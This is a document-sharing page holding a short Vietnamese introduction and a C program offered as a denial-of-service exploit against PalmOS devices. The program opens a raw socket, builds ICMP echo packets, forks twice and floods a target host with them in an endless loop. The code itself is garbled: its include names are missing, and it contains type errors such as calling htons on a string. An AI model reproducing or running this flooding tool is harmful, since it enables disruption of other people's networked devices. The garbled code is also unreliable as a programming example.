Dos Palmos Icmp

  • May 2020
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Dos Palmos Icmp as PDF for free.

More details

  • Words: 192
  • Pages: 2
DoS PalmOS ICMP trang này đã được đọc

lần

Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s). #include <stdio.h> #include <stdlib.h> #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[2000]; struct sockaddr_in dest; struct hostent *host; struct iphdr *ip = (struct iphdr *) packet; struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("127.0"); ip->daddr = inet_ntoa(dest.sin_addr);

ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_ECHO; icmp->code = 0; printf("Ping flooding %s!\n", argv[1]); fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); }

Related Documents

Dos Palmos Icmp
May 2020 1
Palmos
May 2020 1
Icmp
May 2020 3
Icmp
November 2019 9
Icmp
May 2020 6
Palmos 017 Mart 2009
April 2020 0